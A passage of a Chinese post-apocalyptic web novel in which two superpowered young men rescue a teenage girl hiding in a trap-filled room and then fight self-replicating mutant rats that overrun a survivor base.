看上去是非常幸福美满的一家人。 阿婶抱着这个叫敏敏的孩子说了好一会儿话才舍得把人放下，然后给他们介绍江朗和陆燃： “这两个后生是从C市来的！专门来帮张老师呢，真是又一表人才，心地又好，你们说现在还有没有这样的年轻人了？” 中年男女闻言看向陆燃和江朗，满脸敬佩： “真是辛苦了……你们有能力的人就是比较辛苦一点，我们也只能在这里给你们说说辛苦了……” 江朗连连摆手：“这有什么！” 这一家三口应该是散步回来的，在楼道口和阿婶稍微聊了会儿天之后就走进去了。 阿婶朝他们摆摆手，然后和陆燃江朗一起继续朝外走去。 “真是幸运的一家啊……” 阿婶忍不住感慨道：“再没有比王工他们家更幸运的了，一家三口都活下来了，也没变异。” “不过没什么好比的，能活下来的人有一个算一个都算运气好，我也运气好，我也运气好……大家都运气好……活着就好，活着就好啊……” 陆燃和江朗下意识地将目光转向了阿婶。 都活下来了？ 他们真的是原装的一家人？ 陆燃快速在心里算了个概率，可以说是无限低至零的概率。 奇怪。 第64章 第 64 章 小鬼当家 第二天, 两人照常早起出门，继续去排查Q市有没有遗漏的幸存者。 第三天也是如此。 第四天也是如此。 不过可能是张老师的金属掌控异能真的蛮有用的，也可能是这年头哪里都有点金属, 他们排查了都整整三天了，也没见过任何遗漏的幸存者。 剩下的地方也不多了。 江朗：“我们干脆今天一次性查查完, 之后就和张老师换班出市去周边救人好了。” 陆燃点了点头：“可以, 本来也就一天或者一天半的事，今天可以少睡一点。” “确实，这几天睡眠过于充足，我还有点不习惯。” 陆燃顺手往面前的这栋建筑物扔了个精神链接。 “嗯？” 江朗：“怎么了？不会是有人吧？” 陆燃：“好像真的有。” 江朗：“！！” 陆燃：“四楼, 走。” 两个人飞速跃上了四楼。 江朗跟在陆燃后面, 焦急地看他指出方向, 然后冲上前打开了门。 “哐当！！” “嗷——” 江朗捂着脑袋蹲下了。 “痛痛痛——痛死我了——” 陆燃面露愕然之色。 让江朗发出如此痛呼的, 是一面锣。 就挂在门板上方，设计成了有人进门就会砸下来的效果。 不光是痛的问题, 主要是这个锣质量真不赖, 瞬间发出了巨大的声音，陆燃隔了好几步远都觉得自己的脑壳被震得嗡嗡的, 更是第一时间关闭了大部分感官。 他知道江朗至今不擅长调整他的感官强度, 估计刚刚是实打实地被震了个震天响。 就他现在的感官强度，这面锣和在他脑子里直接炸响估计也没什么区别了。 这场面, 虽然江朗有点凄惨, 但陆燃不得不承认, 有点好笑。 “陆燃你居然在笑！！啊啊啊损友啊！我真是交友不慎！” 陆燃轻咳了两声, 试图把自己忍不住翘起的嘴角掩盖过去。 江朗简直泪流满面。 但是他不知道这才是他倒霉路上的第一关，他抱头蹲下后还没来得及缓过来呢，一支利箭嗖得一下不知道从哪窜了出来, 正中他脑门。 江朗：“……” 陆燃：“噗。” 这个“利箭”应该是用木头现削出来的，攻击性不高，最大的攻击性应该是上面没削干净的毛刺。 侮辱性却极强。 江朗无奈地站起身，这下他不敢直接往里冲了，小心翼翼地站在门口朝里面探头探脑地看去。 陆燃也走到了他身边。 该怎么说呢，不大的房间，里面却被七七八八地布置了一大堆机关，刚刚那两个应该是自动触发的，剩下的他潦草扫了一眼，很多都是需要人控制，或者瞄准方向才能攻击。 只能说幸好他们来之前他先放了个精神链接，不然迎接江朗的，应该就不是这么简单的一面锣，一支木箭了，看起来有些机关还是挺有杀伤力的。 江朗探头探脑，指着其中一个机关问：“这是干嘛的？” 陆燃看了眼：“你往前走两步就知道了。” 江朗：“我不！” 陆燃笑了：“真的没什么，就是会突然拉线然后绊你一跤的那种装置。” 江朗：“这还没什么？！摔个狗啃泥很痛的好不好！而且更重要的是很丢脸啊！” 说是这么说，江朗还是忍不住他好奇的心，难得在现实里看见这么多花里胡哨的简直在电影里才会出现的装置，他就克制不住他这蠢蠢欲动的脚啊……而且陆燃都看过了，就是普通的装置，死不了人嘛反正……嗯嗯…… 这么想着，江朗就试探性地往前走了两步，然后他一步一步地腾挪到了那根不仔细看压根看不见的地面上的线旁边的时候，不知道装置的哪一部分感应到了他，蹭的一下，那条细线就在离地面几厘米的地方绷紧了。 “呼——好险好险！差点就摔了！” “好厉害……我觉得住这的应该是个高中生什么的吧？感觉这年头只有高中生才会有这么高的知识储备量和动手动力吧？” 江朗小心翼翼地碰了下另外一个看起来很大型的装置，看不太懂这玩意儿究竟是用来干什么的，然后收回了手。 陆燃目标明确地避开那些粗糙又精巧的机关，直直地朝衣柜走去了。 他有点懂为什么张老师独独没发现这个幸存者了，这个衣柜是纯木质的，而且这里的住户应该小心到不能更小心，平时都住在柜子里，才没被能力是金属掌控的张老师探查到吧。 打开柜门前，他先礼貌地解除了精神控制，他现在已经知道其他人对他这个技能的心理反应是什么了。 然后，他打开柜门。 眼前闪过一道白色，他条件反射地伸出手，一个手刀敲掉了来人手中的刀。 叮铃哐啷掉在地上之后，陆燃有些好奇地看了眼地上掉落的刀。 哦，陶瓷刀，他刚刚还在想，这不是有金属吗？ 然后他才将视线移向了一击不成就放弃了地上的刀又拿出一根木棍横在身前的女孩。 她看上去十三四岁年纪，身上穿着一套校服，没校徽，他也不是Q市人，看不出是什么学校的校服，头发潦草扎了个马尾，就跟这个年纪的大部分女生一样，她手里紧紧地抓着木棍，眼中满是警惕与凶狠。 “你们是谁？想做什么？” 江朗连忙把面无表情地打量着女孩的陆燃往后拉了拉，他太了解陆燃了，虽然他现在站在陆燃背后，但他几乎可以想象到陆燃那副冷漠中带了几分蔑视的神情，这可真是一点都不适合和还没从灾害中缓过来的小孩子接触。 他把陆燃往后拉了拉，然后尽力露出了一个最和善最阳光的笑容： “我们是好人，是来救你的。” “好人？好人会上来就控制别人吗？” 江朗忙解释：“那是为了查探这栋楼内有没有幸存者！我朋友可以通过看谁被他控制了来确定哪里有人活着！” “你们说我就信吗？” 江朗噎了一下。 陆燃笑了，拍了拍江朗的肩，示意他让半个身位出来。 “我如果真想对你怎么样的话，大可以刚刚直接继续控制你，但是我没有，我想这就能证明我们没有恶意了。” “你觉得这样我就会相信吗？谁知道是不是你的技能进入了冷却期，现在才需要在这里磨磨蹭蹭地跟我说话？” 江朗：“唉你这人，怎么油盐不进呢？” 陆燃拍了拍他，扫视了一圈：“她这里的存粮应该还够她撑至少一周，我们一周后再来吧。” 江朗：“不用现在给她留一点食物吗？” 陆燃：“现在留，估计也只会被她当成别有用心的毒物扔掉，还是别浪费了，走吧，先去救其他人。” “哦哦好……” 陆燃又转头对女孩说：“你知道海岸小区吗？不知道也没关系，出这栋公寓门直走然后左转然后一直朝前走就能看见，那边有很多幸存者，你要是什么时候想出来了，但是还是谁都不信，可以自己试着走到那边，但是不建议，因为路上的污染物虽然我们已经尽力清理干净了，但是还是会有漏网之鱼。” “我的建议就是你花这一周时间好好想想，是要自己一直在这里住下去，或者因为害怕我的存在选择换个地方藏下去，还是跟我们走，我们给你放到幸存者基地。” “你要是觉得我们俩不可信任，那还有个办法，你找根金属敲三下，会有个以前是中学老师的异能者来救你，我觉得你们学生应该更信任老师一点。” 说完，他朝江朗招了招手：“走吧。” 两人转身准备离开，身后却突然传来了一道声音： “你们……真的要去救其他人吗？” 陆燃和江朗转过身： “是的，怎么了吗？” 女孩紧锁着眉头，像是内心在进行艰难的挣扎，然后她开口： “你们……你们会去河镇吗？” 江朗困惑了一下，悄悄问陆燃：“河镇在哪？” 陆燃也悄悄跟他说：“张老师那张地图上有，大概在Q市东边。” 江朗：“应该会去吧，等我们查完Q市还有没有幸存者之后。” “我……我能不能一起去？” 陆燃没正面回答，而是问道：“你想救谁？” “我妈妈，她住在河镇，我在这边是租房念书。” 江朗恍然大悟：“原来如此，你妈妈叫什么？长什么样？我们可以明天去看看情况。” “她叫林凤美，和我长得很像，比我矮一点点，我家住在河镇未来新村，4幢205。” 陆燃：“好，我们会去看的。” 江朗又问：“那你现在呢？什么打算？和我们一起走还是继续留在这里？” 女孩纠结了很久，应该是本能上依旧不想相信任何人，但又实在想知道她母亲的消息，她最后深吸了一口气：“我跟你们走。” 她闭上眼，又睁开，一脸视死如归。 江朗，陆燃：“……” 不是，他们真的有那么像人贩子吗？ 不过至少今天出来得很有成效，救了一个人，而且于檬这边存的方便面还真不老少，也算给小区补充点方便面资源了，到了之后再给她换点别的吃的。 这可怜孩子，吃了一个多月红烧牛肉口味的方便面了，真该吃吐了。 这样还能保持这样的精神头，不愧是高中生。 江朗和陆燃一人搬上一大箱方便面之后，由衷感慨。 两个人带着于檬从楼梯下去。 于檬则全程右手捏着她那根木棍，左手揣兜里捏着她那把陶瓷刀，小心翼翼地跟在他们身后。 而走出公寓后，太久没见到的阳光让她一瞬间忍不住闭起了双眼。 第65章 第 65 章 自我复制型 走出公寓门的那一瞬间, 于檬被许久不见的大太阳刺得忍不住闭上了眼，又很快强行睁开。 她的心跳飞速变快，那两个人说, 他们已经将附近的污染物全部清理干净了，她走在外面基本安全。 这听起来……非常不可思议。 有一瞬间, 她觉得自己甚至没法理解这句话。 她还记得末日来临的那一天。 那天, 她因为生病没去上学，自己躺在床上看书写作业，她平时习惯白天也拉上窗帘开灯，所以她的第一反应是——咦？怎么停电了？ 然后她掀开被子, 走下床, 撩开窗帘打算继续看书, 然后就见到了她此生见过最恐怖的场景。 窗外……所有人都变成了怪物。 很恶心的怪物, 比电视里演的丧尸要恶心得多。 哦不，也不是所有人, 她还能看见一些没有变成怪物的人被追着跑, 但是他们的速度显然不如这些异变了的怪物，所以没多久就被追上了, 然后被啃咬撕扯殆尽。 她从来没有那么想吐过, 如果不是早上起来生病了没胃口，实在吐不出任何东西来, 估计她之后还得花大功夫清理自己的地板。 “呕——呕——” “咚！” 一声猛烈的撞击声打断了她的干呕, 她惊恐地抬头, 发现有一只鸟正在撞击她的玻璃窗。 她的瞳孔猛地缩紧了, 那只鸟……如果它还算鸟的话，有着人一般的牙齿，而且不是长在它的嘴里的, 而是长在了它的羽毛上。 那细细密密的尖牙让她既恶心又发毛。 “咚！咚！咚！” 它一下一下地撞击着，于檬惊恐地看着她微微震动的玻璃窗，脑海内闪过了各种可能发生的场景，它撞破玻璃窗，把她咬死，甚至更糟糕的，把她变成像楼下那些人一样的怪物…… 于檬打了个寒颤，冲到柜子里把自己锁了起来。 别进来别进来别进来…… 她一遍遍地默念着，好像这样就能给自己竖起一道防护墙一样…… 但是也许真的有效果，因为等她稍微平静下来一点的时候，她突然意识到，那“咚咚咚”的撞击声不知道什么时候已经不见了，只是她的心跳声太大声才让她没能早点发现这一点。 她慢慢推开衣柜门，朝外看去，窗帘边缘微微闪烁着诱人的阳光，只是这一次她不敢再拉开窗帘看了，她开始在房间里翻箱倒柜，试图找到一些可以自保的武器。 那之后过了一个多月，可能。 不知道，其实她没有在计时，她都是饿得不行了才拆一包泡面吃。 那两个人中看上去比较和善的那个人问她吃了一个月的红烧牛肉口味的方便面不腻吗？ 她没说，她连红烧牛肉这个口味都没尝到，他好像忘了她没开水泡泡面，其实她都是直接拆个面饼就吃了。 幸好她妈妈怕她一个人住吃得不健康，给她买了很多维生素放在药箱里，不然她虽然饿不死，但可能也会得个坏血病什么的。 妈妈…… 还会活着吗…… 她甩了甩头，将精神集中在当下。 那之后，她没有再敢拉开窗帘过，也就没再见过那些怪物。 但哪怕再也没去看过那些怪物，满大街都是怪物的景象依旧深深地烙印在了她的脑海之中。 她下意识地闭起了眼，脑海中全是当初满大街都是怪物的场景。 然后她小心翼翼地睁开了眼，街道上很干净……很空旷，安静得像是死了一样，但这种死寂却让她松了口气。 居然真的就像他们说的那样，怪物都被清理干净了，街上一个活物都看不见。 哦不，还是有，他们一走出来，不知道从哪飞来的一只怪鸟安静但迅捷地朝她前面两个人俯冲了下来。 她下意识就想往后走一步然后关紧公寓大门，然后她就看见这两个人中较冷淡说话也比较难听的那个人抬手——那只鸟就从空中那么掉了下来。 ……这就死了？ 他们的能力远超她的想象，这让她好受且安心了许多。 确实如那个人所说，他们如果真想杀她的话完全不需要费那么多事。 她悄悄地松了口气。 那只怪鸟死后，一个在阳光下有些闪光的东西飞到了他手中，眨眼间就消失不见。 那是什么？ 她想问，但又担心自己会不会问到不该问的东西，万一触怒了这两个人…… 于檬复杂的心理活动陆燃和江朗一概不知，如果知道她好奇晶体是什么的话，他们俩应该都不介意送她一颗晶体研究着玩。 回海岸小区这段路就在于檬的复杂心理活动和陆燃与江朗的毫无所觉中飞快地过去了。 “陆燃！江朗！你们今天怎么回来得这么快？” 早已和陆燃与江朗混熟的正门口值班的小陈朝他俩热情地挥了挥手，满脸笑容。 然后他才看见死死躲在他们俩背后试图避开一切视线的于檬。 “！有幸存者？！” “是的，她躲在没有金属的柜子里所以没被张老师发现。” “天哪！辛苦你们了！” 小陈光速从小板凳上坐了起来，迎了过来： “孩子你感觉怎么样？还好吗？说不出话也没关系，可以点头或者摇头。” “最近几天有吃过东西吗？没有的话摇摇头，我给你整点流食适应一下。” 江朗笑了：“放轻松一点，她可有精神头了，还差点打了我们俩个出其不意。” 小陈：“我去！这么厉害！好好好！” 于檬一言不发地观察着，海岸小区的人真的不少，光保安亭就有好几个人，她虽然读书很刻苦但是视力一直很好，此时还能看见小区里有人在散步…… 居然是真的，幸存者聚集地，居然是真的。 陆燃和江朗放心地把于檬交给了小陈，然后就继续回去探查Q市剩下的部分了，于檬的出现证明了一件事，张老师的探查确实有死角，而且死角处也可能真的还有人活着。 于檬看他们两个离开，下意识有些恐慌，她自以为恐慌的神色并没有表露在脸上，但是小陈作为“前台”，已经接待了太多类似的幸存者，他们总是对将自己拯救出来的人有些雏鸟情节，被突然一个人丢在陌生环境里，多少会有点慌张。 其实如果可能的话，他也会希望江朗，陆燃，甚至张老师能稍微多留一会儿，让这些幸存者们多少平稳地过渡到新环境中去，但是这个要求太奢侈了，他们还有别人要去救，那么他就只能尽力安抚这些像是被丢到了新鸟巢里的雏鸟们. 陆燃和江朗开车回到刚刚发现于檬的公寓，然后顺着继续往下排查，不过很可惜，一直到半夜查完所有部分，都一无所获。 看来能找到于檬是一种纯粹的运气。 夜晚的月亮朦胧得晃人眼。 这一个月以来，天空中的这两个重要天体正在逐渐进行改变。 月亮一天比一天模糊，他们两人都是不需要戴眼镜的视力，但愣是看这月亮能看出重影来。 白天的太阳呢，更糟糕，越来越红了。 据江朗所说，之后的太阳和月亮只会一直朝这个方向变化，末世后期白天到处都血红血红的，很伤眼……甚至还有更奇怪的，越到末世后期，天空中的太阳和月亮就越接近静止，到了江朗重生前的那段时间，白天和黑夜的变换已经变得无比突兀，好像有人摘下了那轮红日后直接贴上了月亮来进行昼夜交替一般。 如果不是每天白天，那伤眼的红色阳光都非常直接地洒在了每个人每寸土地上，江朗真的会觉得头顶那轮太阳是幼儿园小孩的剪贴画。 江朗抬着头叹气：“我还是喜欢以前的月亮，干干净净的，现在的月亮实在太糊了，每次抬头看，我都会以为自己突然八百度近视了。” 陆燃笑了一下，没说什么，其实他倒是觉得没什么差别。 不喜欢新月亮的不止江朗一个人，在海岸小区这几天，多的是人抱怨过太阳和月亮的变化。 ——太阳越来越红了，光线让人烦躁还头疼。 ——月亮越来越糊了，晕晕乎乎晃人眼。 陆燃却都没什么感觉。 本身太阳和月亮就是天空中突兀的存在，只是人们已经对曾经的这种突兀习以为常了而已，在他眼里都没区别，就是一块突兀换成了另一块突兀而已。 他时常会发现自己看待这个世界的方式与很多人都不同，大部分人总对一些常见的事习以为常，一旦改变就会觉得奇怪，但在他眼里，本身就没什么事是自然的，再改变又能怎么样，只是从一种不自然转变成了另一种不自然而已。 江朗对月感慨了一会儿，不过也只是感慨了一会儿而已，他不是那种老爱对着天空看的人，他就看了一会儿就掏出了背包里的可乐然后盘腿坐地喝了起来。 “来一口吗？” 陆燃摇了摇头，江朗爱喝可乐，他倒是没什么特别的喜好，末世里可乐喝一瓶少一瓶，还是都留给他吧. 小陈打了个哈欠。 对于末世里的的新月亮吧，他本人觉得其实还是挺好看的，重影看上去比原本单调的单个月亮要好看很多。 但是呢……有点让人犯困是真的，这玩意儿简直自带催眠效果……他每次抬头看一眼月亮，就觉得本来就难熬的夜班更加难熬了…… 他忍不住又打了个哈欠。 再忍忍，嗯，再忍忍，再两个小时就有人来换班了…… 这样想着，他努力地揉了揉眼睛，睁大眼睛去搜寻眼前有没有什么异样的动静。 突然间，他不知道是自己的错觉还是什么，他好像看见有什么东西“嗖”的一下就在他面前窜过去了。 他瞬间清醒了。 不一定是污染物，但是看上去很像一只灰老鼠！ 妈呀！他最怕老鼠了！ 他蹭得跳到了椅子上，警醒地盯着面前这一块地面。 然后他就看见了。 果然是一只灰老鼠，快速地从角落里窜了出来，又窜进了另一个角落。 以末日后动物们奇形怪状的标准来看，这只灰老鼠有点太正常了，完全就是末日前普通老鼠的模样，至少他这么乍一看，完全看不出任何区别。 他抹了把胳膊，把自己的鸡皮疙瘩抹平，然后开始翻箱倒柜地寻找有没有捕鼠夹或者老鼠药之类的东西。 找半天，还真给他找到了一个捕鼠夹。 他肉疼地从自己口袋里撕了一条猪肉脯肉干出来放在了捕鼠夹上当作诱饵。 这可是珍贵的猪肉脯啊…… 为了抓住这只老鼠省下他接下来两小时的担惊受怕……一切都是值得的！ 他布置好对老鼠的死亡陷阱，就又光速跳回了椅子上，生怕动作慢点那只老鼠就会窜出来在他腿上蹭一下怎么的。 他紧张地看着那只老鼠刚刚窜进去的角落，心脏怦怦直跳。 然后在他紧张的等待中，那只灰老鼠终于再次冒了头。 它先是在原地犹豫了一下，但最终还是没经受住精加工猪肉脯香味的诱惑，蹭蹭蹭地朝捕鼠夹跑了过去。 “咔嚓”一声，那声音真不老小。 老鼠瞬间身首分离。 小陈松了口气。 总算死了，待会儿找个塑料袋把这一坨东西丢出去就好了。 他缓缓放下手中的金属棒，从椅子上滑落下来。 他擦了把额头上冒出来的细汗，当他放下手，或者说当他的手和袖子的阴影从他双眼前消失的时候。 他见到了此生见过最诡异的场景。 明明是已经头和身体已经分离了的老鼠。 那颗孤零零的头从颈椎部分又开始生长，而那一半没有头的身体，也开始从颈椎部分，慢慢长出了一个头的雏形。 大概是因为血肉只有那么多，头和身体一边长出来，另外一侧的身体和头就一边缩小。 皮毛却没有改变，有些难看地，空荡荡地耷拉在突然缩小了一圈的血肉上。 然后它们长完了。 前半部分是空荡荡的头，后半部分是新生的血肉，还没来得及覆盖上皮毛，另一只则是恰巧相反的模样。 它们齐齐抬头，朝小陈看过来。 明明是普通的四只眼珠。 小陈却看出了一种幽幽的感觉。 “啊啊啊啊——” 那一瞬间，他的大脑完全是空白的，尖叫着把手里的金属管子砸了下去。 不得不说，他的准头还是可以的。 他觉醒的异能非常普通但也很实用，增强了他的力气和感官和反射能力，比原来更适合当保安了。 极佳的瞄准能力让他准确无误地将手中的金属管砸在了那两只老鼠身上。 然后他看着那血肉模糊的一片，神智像是突然回到了他的大脑中一般，他的内心突然升起了一阵后悔与恐慌。 然后他的后悔与恐慌就被印证了。 每一块他砸开的血肉，都开始重新生长出了一只不是很好看但确实完整的老鼠模样，甚至包括那些溅到了墙上的肉块。 他眼睁睁地看着墙上长出了一只老鼠，然后它抬头向他看来。 它们都抬头向他看来。 然后涌向了他。 那一瞬间，他的眼前走马灯式闪过了许许多多的回忆。 那是一种奇妙的体验，你好像在同时经历许多许多件事情，他似乎既在十几年前家门口那条还没铺上水泥的土路上奔跑，又在末日前他那间租来的昏暗又潮湿的小房间里趁着下班打游戏，又在校园里那条他以为早已忘记了的两旁栽着银杏树的小道上奔跑，生怕跑慢点食堂里就没有能吃的菜了。 每一个画面都那么清晰，清晰得宛如他从未忘记。 但其中，最最清晰的，大概是他曾经坐在阶梯教室里昏昏欲睡的那节课。 他当时以为他睡着了，他什么都没有听进去。 但原来他只是撑着脑袋耷拉着眼皮走神啊。 那些他以为被他当耳边风吹过的教授的话，居然那么清晰地就印在他的记忆中。 “生态学中，k选择和r选择，是两种不同的生存策略。” “k，也即kapazit？tgrenze，容量限制，这通常意味着出生率低，寿命长，和完善的保护后代机制，子代死亡率低，但是一般不具有很强的扩散能力，这种选择一般适应于是稳定的栖息环境。” “那么与之相对的，也就是r选择，r代表着rate，也即速率，该策略通常意味着出生率高，寿命短，而且缺乏保护后代的机制，适应于多变的栖息环境。” 是的，在成为一名得过且过领先版本30年的保安前，他曾经是一名生物专业的学生。 那些他以为自己早已忘记了的知识，此刻又回到了他的脑海中。 他……他到底惹到了什么？ 他又放出了什么？ 不光是R策略者。 还是自我复制型的R策略者。 他完蛋了。 被啃咬上的一瞬间，他想到。 哦。 不光他完蛋了。 其他人也完蛋了。 所以比起他要死了这件事来说，更糟糕的应该是他死得罪大恶极。 他用尽最后的力气敲了三下金属棒，然后从口袋中拿出了一只折起来的千纸鹤。 ——这是江朗和陆燃留给他们的。 他们说关键时刻可以对着这个千纸鹤说出想要传达的话，然后放飞，这只千纸鹤就会把消息带到他们所在的地方。 他们一开始说这话的时候，他和其他人还以为这是他们两个小孩子在开玩笑——别说，还挺有童趣的，他们这些在末世里有一天没一天的人真的很需要这种玩笑。 但那两个年轻人很严肃地说，不，他们没有开玩笑。 他们其余人只能面面相觑，将纸鹤收了起来。 现在他只能希望他们说的是真的。 因为他没有别的办法能联系到他们了，而张老师远在Q市之外，她今天要去哪里来着？哦好像是山镇，应该完全感知不到他的敲击吧…… “异变老鼠，自我复制型，目测只需要一点肉块就能完成复制，现在已经有……几十只，速回。” 已经有速度快的老鼠爬上了他的裤腿，一跃跃上了他的衬衫，然后继续向上爬去。 被那只贪得无厌的老鼠啃在脸上前，他看见那只千纸鹤闪烁了一下，然后真的飞了起来。 小陈：“！” 千纸鹤以一种一点都不科学的速度飞出了保安亭的大门的时候，他终于松了口气。 好的，现在只是他要完蛋了，也许其他人还有救。 第66章 第 66 章 地狱之火大人立大功 江朗喝下最后一口可乐： “走！回去了不？感觉已经半夜了, 唉，我现在心态上还是更接近于一个三十岁的大叔啊，一熬夜就觉得自己要猝死了。” 陆燃从地上坐起来, 拍了拍裤腿，准备回去睡觉, 虽然一点也不困。 就在这时, 一道白光在他们眼前闪过。 一开始陆燃还以为是什么奇形怪状的污染物又出现了，顺手就扔了个精神链接上去，然后他就发现，来的不是生命体。 而是他们之前留给海岸小区的护卫者们的纸鹤。 他的神色立刻严肃了起来。 “异变老鼠, 自我复制型, 目测只需要一点肉块就能完成复制, 现在已经有……几十只, 速回。” 千纸鹤的喙上下动了起来，传出了这么一段音频。 陆燃和江朗对视了一眼。 这下麻烦大了。 江朗一脸后悔：“靠！早知道就不喝这罐可乐了！” 不过也还好, 他们现在距离海岸小区并不算太远, 而且为了看月亮，他们是爬上了这栋公寓的楼顶, 直接从房顶切直线回去, 其实要不了几分钟。 两个人快速从背包里掏出绳索，快速在每栋楼之间跳跃了起来。 小陈在千纸鹤里的声音几乎有种视死如归的悲壮和极致的恐惧。 自我复制型污染物……这是最麻烦的一种情况了, 杀又杀不死, 或者以为杀死了却又春风吹又生。 尤其是这种污染物和有大量人的聚集地重叠的情况……江朗很庆幸有陆燃和他一块, 而且陆燃还发掘出了精神链接的真正用法, 如果只有他一个人的话，他点对点地杀，可能都赶不上他们自我复制的速度。 眨眼间, 他们几次跳跃后就来到了海岸小区临近的办公楼。 海岸小区已经乱做了一团。 他们站在这么高的高处，都能听见人群混乱的尖叫呼喊声，还能影影绰绰地看见一大堆黑影在乱窜。 他们收起绳索，从高处跃了下去。 风在他们耳旁猎猎作响。 快到地面的时候。 二段跳。 平稳落地。 他们的坠落因为速度极快就像一道一闪而逝的黑影，却被绝望的护卫们收入了眼中——一丁点的动静都会被此时无措的他们误认为救兵来了，更何况是真的救兵来了。 “救命——救命——！” 他们的声音里充满了绝望。 陆燃放大到极致的感官里，可以清晰听见那些密密麻麻的老鼠爬行的声音，窸窸窣窣的，只听声音便能想象到那种成千上万只老鼠爬满了所有地面的场面。 不幸中的万幸大概是，污染物有追逐血肉的本能，所以这些声音基本集中在了保安亭附近这块地方，这些老鼠的嗜血本能让它们下意识地攻击着那些已经受伤的保安，而没有去攻击居民楼里的普通人。 虽然这也导致他眼前出现的是一个疯狂地涌动的小山般的群体，异能者们的尖叫绝对发自真心，任谁被小山般的小老鼠吞没都会忍不住尖叫的。 他迅速释放了精神链接，一瞬间，无论是尖叫声还是窸窸窣窣的涌动声就全都停止了。 那些意识内的光点传来的情绪，也不似往常的被控制后的惊慌，不如说，他们被控制了之后多多少少有种松了口气的感觉——虽然自己失去了对身体的掌控，但至少这些老鼠也终于停止往他们身上扑了啊！ 陆燃操纵着那些异能者突破老鼠群往外走。 “嗯？” 他有些迷惑地皱了皱眉。 紧张不已的江朗立刻问：“发生什么了吗？” 陆燃：“有个光点控制不动，稍等。” 江朗先是震惊了一下，还有精神链接控制不住的人或污染物？他一直以为游戏的技能近乎一种概念性的规则，不过他很快反应了过来，陆燃口中的“控制不动”，可能单纯就是那个光点动不了的意思。 他瞬间对应上了什么：“你看见小陈了吗？” 陆燃困惑地回忆了一下“小陈”这个名字对应的人脸，哦，是那个总是他们出门的时候和他们打招呼的保安，据他自己说他本来就是海岸小区的保安，末日后觉醒了一些普通的增强系异能，就正好接着做小区保安。 刚刚发来求救信息的声音，好像就是属于他的。 他立刻懂了江朗的忧虑，如果小陈是直面这群老鼠的第一人的话，大概现在“动不了”是身体原因。 他给江朗指出了那个不受他控制行动的光点地方向，江朗立刻冲进了这一大堆老鼠堆叠起的肉山中，将人搬了出来，平放在了陆燃身边的地面上。 陆燃看了一眼“小陈”。 说实话，如果不是他辨认别人的脸不是全靠五官，更多的是靠他们脸部结构上的一些形态，很可能就认不出这个人了。 因为他已经被老鼠啃得不成人样了。 从脸到身体都是坑坑洼洼的血肉模糊的模样，但居然还活着。 陆燃从背包里掏出一瓶红药给他灌了下去，虽然没法逆转他现在的状态，但用游戏道具吊个命还是没问题的。 与此同时，由他操控着的其他人，也都顺利地从如山的老鼠堆中撤出了，现在全都在他身后，他解除了对他们的精神链接，瞬间听见了身后一连片的喘气声。 如果是其他污染物攻打小区，到这一步基本也就算事情解决了。 人和污染物已经进行了分离，江朗的技能范围够大伤害够高，一通轰下去就什么都解决了。 但是…… 陆燃把注意力重新放回了这些暂时被控制住了的老鼠。 自我复制型。 这是小陈在最后的求救信息中说的。 也确实看出来了。 这里的老鼠数量，根本不可能是之前就存在的，他和江朗，包括张老师，持之以恒地在Q市清扫了那么久，根本不可能漏掉这么大批的污染物，它们只能是今晚一次性“长”出来的。 小陈在求救信息里说“很小一块血肉就能完成复制”，应该是他攻击之后发现的，现在这么多的老鼠，大概率是其他人用物理手段越攻击越多，这样冒出来的。 不能进行物理攻击，这是肯定的，问题在于，这个污染物受到伤害后可以分裂的特质，不知道对他们的游戏技能起不起效。 往好处希望的话，没准是不起效的，毕竟他们俩的伤害技能都叫什么“心灵震荡”“湮灭之环”的，一看就是精神攻击魔法攻击一类的，理论上不应该对这些老鼠造成任何物理伤害，受伤后都不会有什么血肉产生，没准能够成功绕过让它们复制的机制。 但是真的进行在大面积攻击前，还是得试验一下。 他选中其中一只老鼠，解除了它的精神链接，它晃了晃脑袋，好像没适应这种突然不再受人控制了的状态，但好像也没什么恐惧，看起来非常缺乏智能，它迈着小短腿开始朝陆燃身后还在流血的异能者的方向，陆燃伸出一只脚踩住它的尾巴，阻止了它的动作。 它挣扎着想要挣脱，但最后也只是绕着陆燃的鞋子转半圈圈而已。 他朝小鼠放了个心灵震荡。 死了。 但是那尸块很快……该怎么形容呢，蠕动了起来，然后好几只没皮的新鲜小鼠从那层皮下跑了出来。 陆燃：“……” 好像还不如物理攻击。 他扭头对江朗说：“你来试试，只攻击这几只。” 江朗点点头，他朝这几只老鼠放了个超缩小版湮灭之环。 和他的心灵震荡一样的结果。 正好其他老鼠的被精神链接控制的时间也快到了，陆燃直接补了个大面积情绪窃取，让它们继续维持呆呆傻傻地留在原地的状态。 江朗的表情一时有点凝重：“我们两个的攻击手段都会造成它继续分裂的话……有点麻烦了，可能只能考虑困住它们？” 江朗思考了一下，转身问身后几个正在给自己止血的异能者：“你们通知张老师了吗？” 离他最近的那个异能者点了点头：“嗯，一发现情况就试图联系过老大了，但是不知道老大听到了没。” 江朗的想法是，他们先不管想什么办法把这些老鼠拖住，拖到张老师回来，建立一个光滑的金属牢笼，这样虽然也杀不死它们，但至少也不会对小区其他人造成什么危害了。 希望张老师能快点到吧…… 陆燃一听江朗询问张老师什么时候能到，就大致懂了他的想法，不过，他还有个别的想法想要试验。 他挥了挥手，召唤出他好久没拿出来用的异能。 被关了快半拉月的地狱之火终于再次呼吸到了新鲜空气。 “呼哈哈哈哈哈哈！” “哼！凡人，终于想起强大的地狱之火了吗？说吧，有什么是需要本座帮忙的？” 它高傲地仰着头，尖尖的火苗一窜一窜的。 陆燃实在不爱搭理这个话痨火苗，他直接指挥着对方前往了那堆老鼠靠近，现在控制着它们的不是精神链接，不用担心攻击后脱离控制，而且火苗自带的不扩散机制也不用怕烧到他目标以外的老鼠。 “我草草草草草草草草！什么玩意儿！凡人！你能不能不要老是拿本座烧这些肮脏的生物！” 尊贵的地狱之火大人真的要尖叫了，它被陆燃拿出来攻击了两次，一次是蟑螂，一次是老鼠，它尊贵的地狱之火是用来做这个的吗？！气煞它也！！ 陆燃双耳自动过滤了它的尖叫与抱怨，给它喂了这么久晶体，也该到它干活的时候了。 不得不说，他这辛辛苦苦喂的将近大半个C市污染物的晶体也是没白喂，这火苗已经从手指大小长到了当时的拳头大小，现在更是已经长到了手掌摊开的大小，勉强已经算是团正经能用的火了——之后万一海岸小区搜罗来的煤气罐用完了，还能拿它客串一下明火给隔壁阿婶炒菜。 而且，它现在烧东西的速度也快了不少，眨眼间，被它接触到的那只小小小小鼠就化作了飞灰——陆燃特意选了只最小的老鼠。 两个人静静地在原地等待了一会儿，确认没复活，也没有任何老鼠从灰里冒出来。 江朗：“！！！” 